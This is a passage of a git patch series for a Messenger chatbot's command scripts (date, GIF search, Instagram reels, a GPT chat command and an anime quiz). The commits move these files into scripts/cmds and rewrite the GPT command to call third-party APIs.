+ } + }); + + } catch (error) { + console.error("Error occurred:", error); + message.reply(`An error occurred: ${error.message}`); + } finally { + + message.unsend(loadingMessage.messageID); + } + } +}; + +async function downloadCornVideo(url) { + const response = await axios({ + url, + method: 'GET', + responseType: 'stream' + }); + + const cornFilePath = `${__dirname}/cache/${Date.now()}_corn.mp4`; + const writer = fs.createWriteStream(cornFilePath); + response.data.pipe(writer); + + return new Promise((resolve, reject) => { + writer.on('finish', () => resolve(cornFilePath)); + writer.on('error', reject); + }); +} From 7d25475f9940d6a86fabe8b4387f1b11e69cee67 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:13:42 +0545 Subject: [PATCH 074/126] Delete date.js --- date.js | 25 ------------------------- 1 file changed, 25 deletions(-) delete mode 100644 date.js diff --git a/date.js b/date.js deleted file mode 100644 index d68a906db5..0000000000 --- a/date.js +++ /dev/null @@ -1,25 +0,0 @@ -module.exports = { - config: { - name: 'date', - version: '1.0', - author: 'Hassan', - shortDescription: { - en: 'Display current date.' - }, - longDescription: { - en: 'Displays the current date.' - }, - category: 'Utility', - guide: { - en: 'Simply use the command to see the current date.' - } - }, - onStart: async function ({ api, event }) { - const currentDate = new Date(); - const formattedDate = currentDate.toLocaleDateString(); - - const dateMessage = `Current date: ${formattedDate}`; - - api.sendMessage(dateMessage, event.threadID); - } -}; From eebb4a352bb7561cc420b440512982eaf5f1f606 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:14:00 +0545 Subject: [PATCH 075/126] Create date.js --- scripts/cmds/date.js | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 scripts/cmds/date.js diff --git a/scripts/cmds/date.js b/scripts/cmds/date.js new file mode 100644 index 0000000000..d68a906db5 --- /dev/null +++ b/scripts/cmds/date.js @@ -0,0 +1,25 @@ +module.exports = { + config: { + name: 'date', + version: '1.0', + author: 'Hassan', + shortDescription: { + en: 'Display current date.' + }, + longDescription: { + en: 'Displays the current date.' + }, + category: 'Utility', + guide: { + en: 'Simply use the command to see the current date.' + } + }, + onStart: async function ({ api, event }) { + const currentDate = new Date(); + const formattedDate = currentDate.toLocaleDateString(); + + const dateMessage = `Current date: ${formattedDate}`; + + api.sendMessage(dateMessage, event.threadID); + } +}; From 8cf0756f46aac6ed1c91f7516972cbe8ccec97a7 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:14:24 +0545 Subject: [PATCH 076/126] Delete giphy.js --- giphy.js | 62 -------------------------------------------------------- 1 file changed, 62 deletions(-) delete mode 100644 giphy.js diff --git a/giphy.js b/giphy.js deleted file mode 100644 index ffd330a285..0000000000 --- a/giphy.js +++ /dev/null @@ -1,62 +0,0 @@ -const axios = require("axios"); -const fs = require("fs-extra"); -const path = require("path"); - -module.exports = { - config: { - name: "giphy", - version: "1.0", - author: "kshitiz", - role: 0, - countDown: 10, - shortDescription: { - en: "Search for gifs" - }, - category: "image", - guide: { - en: "{prefix}giphy or giphy -number" - } - }, - - onStart: async function ({ api, event, args, usersData }) { - try { - const searchQuery = args.join(" "); - let apiUrl = `https://giphy-search-five.vercel.app/kshitiz?search=${encodeURIComponent(searchQuery)}`; - - let gifIndex = 0; - const numberIndex = args.findIndex(arg => arg.startsWith("-")); - if (numberIndex !== -1) { - gifIndex = parseInt(args[numberIndex].substring(1)) - 1; - args.splice(numberIndex, 1); - } - - const res = await axios.get(apiUrl); - const data = res.data; - - if (!data || !Array.isArray(data) || data.length === 0) { - return api.sendMessage(`GIF not found for "${searchQuery}".`, event.threadID, event.messageID); - } - - if (gifIndex < 0 || gifIndex >= data.length) { - return api.sendMessage(`Invalid GIF number.`, event.threadID, event.messageID); - } - - const selectedGifUrl = data[gifIndex]; - - const gifResponse = await axios.get(selectedGifUrl, { responseType: 'arraybuffer' }); - const gifPath = path.join(__dirname, 'cache', `${searchQuery}_selected.gif`); - await fs.outputFile(gifPath, gifResponse.data); - const gifData = fs.createReadStream(gifPath); - - await api.sendMessage({ - attachment: gifData, - body: `` - }, event.threadID, event.messageID); - - await fs.remove(path.join(__dirname, 'cache')); - } catch (error) { - console.error(error); - return api.sendMessage(`An error occurred. Please try again later.`, event.threadID, event.messageID); - } - } -}; From c09bbc3aa924d7f3fbdac9446283f86f83f44402 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:14:42 +0545 Subject: [PATCH 077/126] Create giphy js --- scripts/cmds/giphy js | 62 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 scripts/cmds/giphy js diff --git a/scripts/cmds/giphy js b/scripts/cmds/giphy js new file mode 100644 index 0000000000..ffd330a285 --- /dev/null +++ b/scripts/cmds/giphy js @@ -0,0 +1,62 @@ +const axios = require("axios"); +const fs = require("fs-extra"); +const path = require("path"); + +module.exports = { + config: { + name: "giphy", + version: "1.0", + author: "kshitiz", + role: 0, + countDown: 10, + shortDescription: { + en: "Search for gifs" + }, + category: "image", + guide: { + en: "{prefix}giphy or giphy -number" + } + }, + + onStart: async function ({ api, event, args, usersData }) { + try { + const searchQuery = args.join(" "); + let apiUrl = `https://giphy-search-five.vercel.app/kshitiz?search=${encodeURIComponent(searchQuery)}`; + + let gifIndex = 0; + const numberIndex = args.findIndex(arg => arg.startsWith("-")); + if (numberIndex !== -1) { + gifIndex = parseInt(args[numberIndex].substring(1)) - 1; + args.splice(numberIndex, 1); + } + + const res = await axios.get(apiUrl); + const data = res.data; + + if (!data || !Array.isArray(data) || data.length === 0) { + return api.sendMessage(`GIF not found for "${searchQuery}".`, event.threadID, event.messageID); + } + + if (gifIndex < 0 || gifIndex >= data.length) { + return api.sendMessage(`Invalid GIF number.`, event.threadID, event.messageID); + } + + const selectedGifUrl = data[gifIndex]; + + const gifResponse = await axios.get(selectedGifUrl, { responseType: 'arraybuffer' }); + const gifPath = path.join(__dirname, 'cache', `${searchQuery}_selected.gif`); + await fs.outputFile(gifPath, gifResponse.data); + const gifData = fs.createReadStream(gifPath); + + await api.sendMessage({ + attachment: gifData, + body: `` + }, event.threadID, event.messageID); + + await fs.remove(path.join(__dirname, 'cache')); + } catch (error) { + console.error(error); + return api.sendMessage(`An error occurred. Please try again later.`, event.threadID, event.messageID); + } + } +}; From 3fdf3b4cf79205106d57a269334dc626a4464b27 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:15:14 +0545 Subject: [PATCH 078/126] Delete reels.js --- reels.js | 92 -------------------------------------------------------- 1 file changed, 92 deletions(-) delete mode 100644 reels.js diff --git a/reels.js b/reels.js deleted file mode 100644 index b2b446fe0b..0000000000 --- a/reels.js +++ /dev/null @@ -1,92 +0,0 @@ -const axios = require('axios'); -const fs = require('fs'); -const path = require('path'); -const os = require('os'); - -async function downloadVideo(url, destination) { - const response = await axios.get(url, { responseType: 'arraybuffer' }); - fs.writeFileSync(destination, Buffer.from(response.data, 'binary')); -} - -module.exports = { - config: { - name: "reels", - aliases: [], - author: "kshitiz", - version: "1.1", - shortDescription: { - en: "View Instagram reels by hashtag", - }, - longDescription: { - en: "View Instagram reels by providing a hashtag and reply with the reel list by number", - }, - category: "FUN", - guide: { - en: "{p}reels [hashtag]", - }, - }, - onStart: async function ({ api, event, args }) { - const hashtag = args[0]; - - if (!hashtag) { - api.sendMessage({ body: 'Please provide a hashtag.\nExample: {p}reels zoro' }, event.threadID, event.messageID); - return; - } - - try { - const response = await axios.get(`https://reels-kshitiz.onrender.com/reels?hashtag=${hashtag}`); - const videoURLs = response.data.videoURLs; - - if (!videoURLs || videoURLs.length === 0) { - api.sendMessage({ body: `No reels found for the hashtag ${hashtag}.` }, event.threadID, event.messageID); - return; - } - - const message = `Choose a reel by replying with its number:\n\n${videoURLs.map((url, index) => `${index + 1}. sid=472314`).join('\n')}`; - api.sendMessage({ body: message }, event.threadID, (err, info) => { - global.GoatBot.onReply.set(info.messageID, { - commandName: 'reels', - messageID: info.messageID, - author: event.senderID, - videoURLs, - }); - }); - } catch (error) { - console.error(error); - api.sendMessage({ body: 'An error occurred while fetching reels.\nPlease try again later.' }, event.threadID, event.messageID); - } - }, - onReply: async function ({ api, event, Reply, args }) { - const { author, commandName, videoURLs } = Reply; - - if (event.senderID !== author || !videoURLs) { - return; - } - - const reelIndex = parseInt(args[0], 10); - - if (isNaN(reelIndex) || reelIndex <= 0 || reelIndex > videoURLs.length) { - api.sendMessage({ body: 'Invalid input.\nPlease provide a valid number.' }, event.threadID, event.messageID); - return; - } - - try { - const selectedVideoURL = videoURLs[reelIndex - 1]; - - const tempVideoPath = path.join(os.tmpdir(), 'reels_video.mp4'); - await downloadVideo(selectedVideoURL, tempVideoPath); - - await api.sendMessage({ - body: `Here is the Instagram reel:`, - attachment: fs.createReadStream(tempVideoPath), - }, event.threadID, event.messageID); - - fs.unlinkSync(tempVideoPath); - } catch (error) { - console.error(error); - api.sendMessage({ body: 'An error occurred while processing the reel.\nPlease try again later.' }, event.threadID, event.messageID); - } finally { - global.GoatBot.onReply.delete(event.messageID); - } - }, -}; From cb7bbc8de1c3ae14339096571926586b3f76196f Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:15:38 +0545 Subject: [PATCH 079/126] Create reels.js --- scripts/cmds/reels.js | 92 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 scripts/cmds/reels.js diff --git a/scripts/cmds/reels.js b/scripts/cmds/reels.js new file mode 100644 index 0000000000..b2b446fe0b --- /dev/null +++ b/scripts/cmds/reels.js @@ -0,0 +1,92 @@ +const axios = require('axios'); +const fs = require('fs'); +const path = require('path'); +const os = require('os'); + +async function downloadVideo(url, destination) { + const response = await axios.get(url, { responseType: 'arraybuffer' }); + fs.writeFileSync(destination, Buffer.from(response.data, 'binary')); +} + +module.exports = { + config: { + name: "reels", + aliases: [], + author: "kshitiz", + version: "1.1", + shortDescription: { + en: "View Instagram reels by hashtag", + }, + longDescription: { + en: "View Instagram reels by providing a hashtag and reply with the reel list by number", + }, + category: "FUN", + guide: { + en: "{p}reels [hashtag]", + }, + }, + onStart: async function ({ api, event, args }) { + const hashtag = args[0]; + + if (!hashtag) { + api.sendMessage({ body: 'Please provide a hashtag.\nExample: {p}reels zoro' }, event.threadID, event.messageID); + return; + } + + try { + const response = await axios.get(`https://reels-kshitiz.onrender.com/reels?hashtag=${hashtag}`); + const videoURLs = response.data.videoURLs; + + if (!videoURLs || videoURLs.length === 0) { + api.sendMessage({ body: `No reels found for the hashtag ${hashtag}.` }, event.threadID, event.messageID); + return; + } + + const message = `Choose a reel by replying with its number:\n\n${videoURLs.map((url, index) => `${index + 1}. sid=472314`).join('\n')}`; + api.sendMessage({ body: message }, event.threadID, (err, info) => { + global.GoatBot.onReply.set(info.messageID, { + commandName: 'reels', + messageID: info.messageID, + author: event.senderID, + videoURLs, + }); + }); + } catch (error) { + console.error(error); + api.sendMessage({ body: 'An error occurred while fetching reels.\nPlease try again later.' }, event.threadID, event.messageID); + } + }, + onReply: async function ({ api, event, Reply, args }) { + const { author, commandName, videoURLs } = Reply; + + if (event.senderID !== author || !videoURLs) { + return; + } + + const reelIndex = parseInt(args[0], 10); + + if (isNaN(reelIndex) || reelIndex <= 0 || reelIndex > videoURLs.length) { + api.sendMessage({ body: 'Invalid input.\nPlease provide a valid number.' }, event.threadID, event.messageID); + return; + } + + try { + const selectedVideoURL = videoURLs[reelIndex - 1]; + + const tempVideoPath = path.join(os.tmpdir(), 'reels_video.mp4'); + await downloadVideo(selectedVideoURL, tempVideoPath); + + await api.sendMessage({ + body: `Here is the Instagram reel:`, + attachment: fs.createReadStream(tempVideoPath), + }, event.threadID, event.messageID); + + fs.unlinkSync(tempVideoPath); + } catch (error) { + console.error(error); + api.sendMessage({ body: 'An error occurred while processing the reel.\nPlease try again later.' }, event.threadID, event.messageID); + } finally { + global.GoatBot.onReply.delete(event.messageID); + } + }, +}; From a27775ddeb75553cf8ec21c4b3da6339ac5c1e4b Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:16:03 +0545 Subject: [PATCH 080/126] Delete gpt.js --- gpt.js | 192 --------------------------------------------------------- 1 file changed, 192 deletions(-) delete mode 100644 gpt.js diff --git a/gpt.js b/gpt.js deleted file mode 100644 index e0f1e5c45d..0000000000 --- a/gpt.js +++ /dev/null @@ -1,192 +0,0 @@ -const axios = require('axios'); -const fs = require('fs-extra'); -const path = require('path'); -const ytdl = require("@neoxr/ytdl-core"); -const yts = require("yt-search"); - -async function lado(api, event, args, message) { - try { - const songName = args.join(" "); - const searchResults = await yts(songName); - - if (!searchResults.videos.length) { - message.reply("No song found for the given query."); - return; - } - - const video = searchResults.videos[0]; - const videoUrl = video.url; - const stream = ytdl(videoUrl, { filter: "audioonly" }); - const fileName = `music.mp3`; - const filePath = path.join(__dirname, "tmp", fileName); - - stream.pipe(fs.createWriteStream(filePath)); - - stream.on('response', () => { - console.info('[DOWNLOADER]', 'Starting download now!'); - }); - - stream.on('info', (info) => { - console.info('[DOWNLOADER]', `Downloading ${info.videoDetails.title} by ${info.videoDetails.author.name}`); - }); - - stream.on('end', () => { - const audioStream = fs.createReadStream(filePath); - message.reply({ attachment: audioStream }); - api.setMessageReaction("✅", event.messageID, () => {}, true); - }); - } catch (error) { - console.error("Error:", error); - message.reply("Sorry, an error occurred while processing your request."); - } -} - -async function kshitiz(api, event, args, message) { - try { - const query = args.join(" "); - const searchResults = await yts(query); - - if (!searchResults.videos.length) { - message.reply("No videos found for the given query."); - return; - } - - const video = searchResults.videos[0]; - const videoUrl = video.url; - const stream = ytdl(videoUrl, { filter: "audioandvideo" }); - const fileName = `music.mp4`; - const filePath = path.join(__dirname, "tmp", fileName); - - stream.pipe(fs.createWriteStream(filePath)); - - stream.on('response', () => { - console.info('[DOWNLOADER]', 'Starting download now!'); - }); - - stream.on('info', (info) => { - console.info('[DOWNLOADER]', `Downloading ${info.videoDetails.title} by ${info.videoDetails.author.name}`); - }); - - stream.on('end', () => { - const videoStream = fs.createReadStream(filePath); - message.reply({ attachment: videoStream }); - api.setMessageReaction("✅", event.messageID, () => {}, true); - }); - } catch (error) { - console.error(error); - message.reply("Sorry, an error occurred while processing your request."); - } -} - - -const a = { - name: "gpt", - aliases: ["chatgpt"], - version: "3.0", - author: "kshitiz", - countDown: 5, - role: 0, - longDescription: "Chat with GPT-4", - category: "ai", - guide: { - en: "{p}gpt {prompt}" - } -}; - -async function b(c, d, e, f) { - try { - const g = await axios.get(`https://ai-tools.replit.app/gpt?prompt=${encodeURIComponent(c)}&uid=${d}&apikey=kshitiz`); - return g.data.gpt4; - } catch (h) { - throw h; - } -} - -async function i(c) { - try { - const j = await axios.get(`https://ai-tools.replit.app/sdxl?prompt=${encodeURIComponent(c)}&styles=7`, { responseType: 'arraybuffer' }); - return j.data; - } catch (k) { - throw k; - } -} - -async function describeImage(prompt, photoUrl) { - try { - const url = `https://sandipbaruwal.onrender.com/gemini2?prompt=${encodeURIComponent(prompt)}&url=${encodeURIComponent(photoUrl)}`; - const response = await axios.get(url); - return response.data.answer; - } catch (error) { - throw error; - } -} - -async function l({ api, message, event, args }) { - try { - const m = event.senderID; - const n = args.join(" ").trim(); - const draw = args[0].toLowerCase() === "draw"; - const prompt = args[0].toLowerCase() === "prompt"; - const sendTikTok = args[0].toLowerCase() === "send"; - const sing = args[0].toLowerCase() === "sing"; - - if (!n) { - return message.reply("Please provide a prompt."); - } - - if (draw) { - await drawImage(message, n); - } else if (prompt) { - if (event.messageReply && event.messageReply.attachments && event.messageReply.attachments.length > 0) { - const photoUrl = event.messageReply.attachments[0].url; - const description = await describeImage(n, photoUrl); - message.reply(`Description: ${description}`); - } else { - return message.reply("Please reply to an image to describe it."); - } - } else if (sendTikTok) { - await kshitiz(api, event, args.slice(1), message); - } else if (sing) { - await lado(api, event, args.slice(1), message); - } else { - const q = await b(n, m); - message.reply(q, (r, s) => { - global.GoatBot.onReply.set(s.messageID, { - commandName: a.name, - uid: m - }); - }); - } - } catch (t) { - console.error("Error:", t.message); - message.reply("An error occurred while processing the request."); - } -} - -async function drawImage(message, prompt) { - try { - const u = await i(prompt); - - const v = path.join(__dirname, 'cache', `image_${Date.now()}.png`); - fs.writeFileSync(v, u); - - message.reply({ - body: "Generated image:", - attachment: fs.createReadStream(v) - }); - } catch (w) { - console.error("Error:", w.message); - message.reply("An error occurred while processing the request."); - } -} - -module.exports = { - config: a, - handleCommand: l, - onStart: function ({ api, message, event, args }) { - return l({ api, message, event, args }); - }, - onReply: function ({ api, message, event, args }) { - return l({ api, message, event, args }); - } -}; From df90cedcf8c4b901a4183bbb2ea93f7fff849cb3 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:17:15 +0545 Subject: [PATCH 081/126] Update gpt.js --- scripts/cmds/gpt.js | 372 ++++++++++++++++++++++---------------------- 1 file changed, 184 insertions(+), 188 deletions(-) diff --git a/scripts/cmds/gpt.js b/scripts/cmds/gpt.js index b9863825f1..e0f1e5c45d 100644 --- a/scripts/cmds/gpt.js +++ b/scripts/cmds/gpt.js @@ -1,196 +1,192 @@ const axios = require('axios'); +const fs = require('fs-extra'); +const path = require('path'); +const ytdl = require("@neoxr/ytdl-core"); +const yts = require("yt-search"); + +async function lado(api, event, args, message) { + try { + const songName = args.join(" "); + const searchResults = await yts(songName); + + if (!searchResults.videos.length) { + message.reply("No song found for the given query."); + return; + } + + const video = searchResults.videos[0]; + const videoUrl = video.url; + const stream = ytdl(videoUrl, { filter: "audioonly" }); + const fileName = `music.mp3`; + const filePath = path.join(__dirname, "tmp", fileName); + + stream.pipe(fs.createWriteStream(filePath)); + + stream.on('response', () => { + console.info('[DOWNLOADER]', 'Starting download now!'); + }); + + stream.on('info', (info) => { + console.info('[DOWNLOADER]', `Downloading ${info.videoDetails.title} by ${info.videoDetails.author.name}`); + }); + + stream.on('end', () => { + const audioStream = fs.createReadStream(filePath); + message.reply({ attachment: audioStream }); + api.setMessageReaction("✅", event.messageID, () => {}, true); + }); + } catch (error) { + console.error("Error:", error); + message.reply("Sorry, an error occurred while processing your request."); + } +} -// config -const apiKey = ""; -const maxTokens = 500; -const numberGenerateImage = 4; -const maxStorageMessage = 4; - -if (!global.temp.openAIUsing) - global.temp.openAIUsing = {}; -if (!global.temp.openAIHistory) - global.temp.openAIHistory = {}; +async function kshitiz(api, event, args, message) { + try { + const query = args.join(" "); + const searchResults = await yts(query); + + if (!searchResults.videos.length) { + message.reply("No videos found for the given query."); + return; + } + + const video = searchResults.videos[0]; + const videoUrl = video.url; + const stream = ytdl(videoUrl, { filter: "audioandvideo" }); + const fileName = `music.mp4`; + const filePath = path.join(__dirname, "tmp", fileName); + + stream.pipe(fs.createWriteStream(filePath)); + + stream.on('response', () => { + console.info('[DOWNLOADER]', 'Starting download now!'); + }); + + stream.on('info', (info) => { + console.info('[DOWNLOADER]', `Downloading ${info.videoDetails.title} by ${info.videoDetails.author.name}`); + }); + + stream.on('end', () => { + const videoStream = fs.createReadStream(filePath); + message.reply({ attachment: videoStream }); + api.setMessageReaction("✅", event.messageID, () => {}, true); + }); + } catch (error) { + console.error(error); + message.reply("Sorry, an error occurred while processing your request."); + } +} -const { openAIUsing, openAIHistory } = global.temp; -module.exports = { - config: { - name: "gpt", - version: "1.3", - author: "NTKhang", - countDown: 5, - role: 0, - shortDescription: { - vi: "GPT chat", - en: "GPT chat" - }, - longDescription: { - vi: "GPT chat", - en: "GPT chat" - }, - category: "box chat", - guide: { - vi: " {pn} - tạo hình ảnh từ nội dung" - + "\n {pn} - xóa lịch sử chat với gpt" - + "\n {pn} - chat với gpt", - en: " {pn} - create image from content" - + "\n {pn} - clear chat history with gpt" - + "\n {pn} - chat with gpt" - } - }, - - langs: { - vi: { - apiKeyEmpty: "Vui lòng cung cấp api key cho openai tại file scripts/cmds/gpt.js", - invalidContentDraw: "Vui lòng nhập nội dung bạn muốn vẽ", - yourAreUsing: "Bạn đang sử dụng gpt chat, vui lòng chờ quay lại sau khi yêu cầu trước kết thúc", - processingRequest: "Đang xử lý yêu cầu của bạn, quá trình này có thể mất vài phút, vui lòng chờ", - invalidContent: "Vui lòng nhập nội dung bạn muốn chat", - error: "Đã có lỗi xảy ra\n%1", - clearHistory: "Đã xóa lịch sử chat của bạn với gpt" - }, - en: { - apiKeyEmpty: "Please provide api key for openai at file scripts/cmds/gpt.js", - invalidContentDraw: "Please enter the content you want to draw", - yourAreUsing: "You are using gpt chat, please wait until the previous request ends", - processingRequest: "Processing your request, this process may take a few minutes, please wait", - invalidContent: "Please enter the content you want to chat", - error: "An error has occurred\n%1", - clearHistory: "Your chat history with gpt has been deleted" - } - }, - - onStart: async function ({ message, event, args, getLang, prefix, commandName }) { - if (!apiKey) - return message.reply(getLang('apiKeyEmpty', prefix)); - - switch (args[0]) { - case 'img': - case 'image': - case 'draw': { - if (!args[1]) - return message.reply(getLang('invalidContentDraw')); - if (openAIUsing[event.senderID]) - return message.reply(getLang("yourAreUsing")); - - openAIUsing[event.senderID] = true; - - let sending; - try { - sending = message.reply(getLang('processingRequest')); - const responseImage = await axios({ - url: "https://api.openai.com/v1/images/generations", - method: "POST", - headers: { - "Authorization": `Bearer ${apiKey}`, - "Content-Type": "application/json" - }, - data: { - prompt: args.slice(1).join(' '), - n: numberGenerateImage, - size: '1024x1024' - } - }); - const imageUrls = responseImage.data.data; - const images = await Promise.all(imageUrls.map(async (item) => { - const image = await axios.get(item.url, { - responseType: 'stream' - }); - image.data.path = `${Date.now()}.png`; - return image.data; - })); - return message.reply({ - attachment: images - }); - } - catch (err) { - const errorMessage = err.response?.data.error.message || err.message; - return message.reply(getLang('error', errorMessage || '')); - } - finally { - delete openAIUsing[event.senderID]; - message.unsend((await sending).messageID); - } - } - case 'clear': { - openAIHistory[event.senderID] = []; - return message.reply(getLang('clearHistory')); - } - default: { - if (!args[0]) - return message.reply(getLang('invalidContent')); - - handleGpt(event, message, args, getLang, commandName); - } - } - }, - - onReply: async function ({ Reply, message, event, args, getLang, commandName }) { - const { author } = Reply; - if (author != event.senderID) - return; - - handleGpt(event, message, args, getLang, commandName); - } +const a = { + name: "gpt", + aliases: ["chatgpt"], + version: "3.0", + author: "kshitiz", + countDown: 5, + role: 0, + longDescription: "Chat with GPT-4", + category: "ai", + guide: { + en: "{p}gpt {prompt}" + } }; -async function askGpt(event) { - const response = await axios({ - url: "https://api.openai.com/v1/chat/completions", - method: "POST", - headers: { - "Authorization": `Bearer ${apiKey}`, - "Content-Type": "application/json" - }, - data: { - model: "gpt-3.5-turbo", - messages: openAIHistory[event.senderID], - max_tokens: maxTokens, - temperature: 0.7 - } - }); - return response; +async function b(c, d, e, f) { + try { + const g = await axios.get(`https://ai-tools.replit.app/gpt?prompt=${encodeURIComponent(c)}&uid=${d}&apikey=kshitiz`); + return g.data.gpt4; + } catch (h) { + throw h; + } +} + +async function i(c) { + try { + const j = await axios.get(`https://ai-tools.replit.app/sdxl?prompt=${encodeURIComponent(c)}&styles=7`, { responseType: 'arraybuffer' }); + return j.data; + } catch (k) { + throw k; + } +} + +async function describeImage(prompt, photoUrl) { + try { + const url = `https://sandipbaruwal.onrender.com/gemini2?prompt=${encodeURIComponent(prompt)}&url=${encodeURIComponent(photoUrl)}`; + const response = await axios.get(url); + return response.data.answer; + } catch (error) { + throw error; + } +} + +async function l({ api, message, event, args }) { + try { + const m = event.senderID; + const n = args.join(" ").trim(); + const draw = args[0].toLowerCase() === "draw"; + const prompt = args[0].toLowerCase() === "prompt"; + const sendTikTok = args[0].toLowerCase() === "send"; + const sing = args[0].toLowerCase() === "sing"; + + if (!n) { + return message.reply("Please provide a prompt."); + } + + if (draw) { + await drawImage(message, n); + } else if (prompt) { + if (event.messageReply && event.messageReply.attachments && event.messageReply.attachments.length > 0) { + const photoUrl = event.messageReply.attachments[0].url; + const description = await describeImage(n, photoUrl); + message.reply(`Description: ${description}`); + } else { + return message.reply("Please reply to an image to describe it."); + } + } else if (sendTikTok) { + await kshitiz(api, event, args.slice(1), message); + } else if (sing) { + await lado(api, event, args.slice(1), message); + } else { + const q = await b(n, m); + message.reply(q, (r, s) => { + global.GoatBot.onReply.set(s.messageID, { + commandName: a.name, + uid: m + }); + }); + } + } catch (t) { + console.error("Error:", t.message); + message.reply("An error occurred while processing the request."); + } } -async function handleGpt(event, message, args, getLang, commandName) { - try { - openAIUsing[event.senderID] = true; - - if ( - !openAIHistory[event.senderID] || - !Array.isArray(openAIHistory[event.senderID]) - ) - openAIHistory[event.senderID] = []; - - if (openAIHistory[event.senderID].length >= maxStorageMessage) - openAIHistory[event.senderID].shift(); - - openAIHistory[event.senderID].push({ - role: 'user', - content: args.join(' ') - }); - - const response = await askGpt(event); - const text = response.data.choices[0].message.content; - - openAIHistory[event.senderID].push({ - role: 'assistant', - content: text - }); - - return message.reply(text, (err, info) => { - global.GoatBot.onReply.set(info.messageID, { - commandName, - author: event.senderID, - messageID: info.messageID - }); - }); - } - catch (err) { - const errorMessage = err.response?.data.error.message || err.message || ""; - return message.reply(getLang('error', errorMessage)); - } - finally { - delete openAIUsing[event.senderID]; - } -} \ No newline at end of file +async function drawImage(message, prompt) { + try { + const u = await i(prompt); + + const v = path.join(__dirname, 'cache', `image_${Date.now()}.png`); + fs.writeFileSync(v, u); + + message.reply({ + body: "Generated image:", + attachment: fs.createReadStream(v) + }); + } catch (w) { + console.error("Error:", w.message); + message.reply("An error occurred while processing the request."); + } +} + +module.exports = { + config: a, + handleCommand: l, + onStart: function ({ api, message, event, args }) { + return l({ api, message, event, args }); + }, + onReply: function ({ api, message, event, args }) { + return l({ api, message, event, args }); + } +}; From e768126e8b442feae594629cce7baa0ce0cf058a Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:19:23 +0545 Subject: [PATCH 082/126] Create aniquiz.js --- scripts/cmds/aniquiz.js | 222 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 222 insertions(+) create mode 100644 scripts/cmds/aniquiz.js diff --git a/scripts/cmds/aniquiz.js b/scripts/cmds/aniquiz.js new file mode 100644 index 0000000000..2e8ba73690 --- /dev/null +++ b/scripts/cmds/aniquiz.js @@ -0,0 +1,222 @@ +const a = require('axios'); +const b = require('fs-extra'); +const c = require('path'); +const d = require('util'); + +const e = c.join(__dirname, 'cache'); +const f = c.join(__dirname, 'anime.json'); + +module.exports = { + config: { + name: "aniquiz", + aliases: ["animequiz"], + version: "1.0", + author: "Kshitiz", + role: 0, + shortDescription: "Guess the anime character", + longDescription: "Guess the name of the anime character based on provided traits and tags.", + category: "game", + guide: { + en: "{p}aniquiz" + } + }, + + onStart: async function ({ event, message, usersData, api, args }) { + try { + if (!event || !message) return; + if (args.length === 1 && args[0] === "top") { + return await this.showTopPlayers({ message, usersData, api }); + } + + const h = await this.fetchCharacterData(); + if (!h || !h.data) { + console.error("error"); + message.reply("error"); + return; + } + + const { image, traits, tags, fullName, firstName } = h.data; + + const imageStream = await this.downloadImage(image); + + if (!imageStream) { + console.error("Error"); + message.reply("An error occurred."); + return; + } + + const audiobody = ` +𝐆𝐮𝐞𝐬𝐬 𝐭𝐡𝐞 𝐚𝐧𝐢𝐦𝐞 𝐜𝐡𝐚𝐫𝐚𝐜𝐭𝐞𝐫!! +𝐓𝐫𝐚𝐢𝐭𝐬: ${traits} +𝐓𝐚𝐠𝐬: ${tags} +`; + + const replyMessage = { body: audiobody, attachment: imageStream }; + const sentMessage = await message.reply(replyMessage); + + global.GoatBot.onReply.set(sentMessage.messageID, { + commandName: this.config.name, + messageID: sentMessage.messageID, + correctAnswer: [fullName, firstName], + senderID: event.senderID + }); + + + setTimeout(async () => { + await api.unsendMessage(sentMessage.messageID); + }, 15000); + } catch (error) { + console.error("Error:", error); + message.reply("An error occurred."); + } + }, + + onReply: async function ({ message, event, Reply, api }) { + try { + if (!event || !message || !Reply) return; + const userAnswer = event.body.trim().toLowerCase(); + const correctAnswers = Reply.correctAnswer.map(name => name.toLowerCase()); + + + if (event.senderID !== Reply.senderID) return; + + if (correctAnswers.includes(userAnswer)) { + await this.addCoins(event.senderID, 1000); + await message.reply("🎉🎊 Congratulations! Your answer is correct.\nYou have received 1000 coins."); + } else { + await message.reply(`🥺 Oops! Wrong answer.\nThe correct answer was:\n${Reply.correctAnswer.join(" or ")}`); + } + + + const animeMessageID = Reply.messageID; + await api.unsendMessage(animeMessageID); + + + await api.unsendMessage(event.messageID); + } catch (error) { + console.error("Error while handling user reply:", error); + } + }, + + showTopPlayers: async function ({ message, usersData, api }) { + try { + const j = await this.getTopUsers(usersData, api); + if (j.length === 0) { + return message.reply("No users found."); + } else { + const topUsersString = j.map((user, index) => `${index + 1}. ${user.username}: ${user.money} coins`).join("\n"); + return message.reply(`Top 5 pro players:\n${topUsersString}`); + } + } catch (error) { + console.error("Error while showing top players:", error); + message.reply("An error occurred."); + } + }, + + fetchCharacterData: async function () { + try { + const k = await a.get('https://animequiz-mu.vercel.app/kshitiz'); + return k; + } catch (error) { + console.error("Error fetching anime character data:", error); + return null; + } + }, + + downloadImage: async function (imageUrl) { + try { + const l = `anime_character.jpg`; + const m = c.join(e, l); + + const n = await 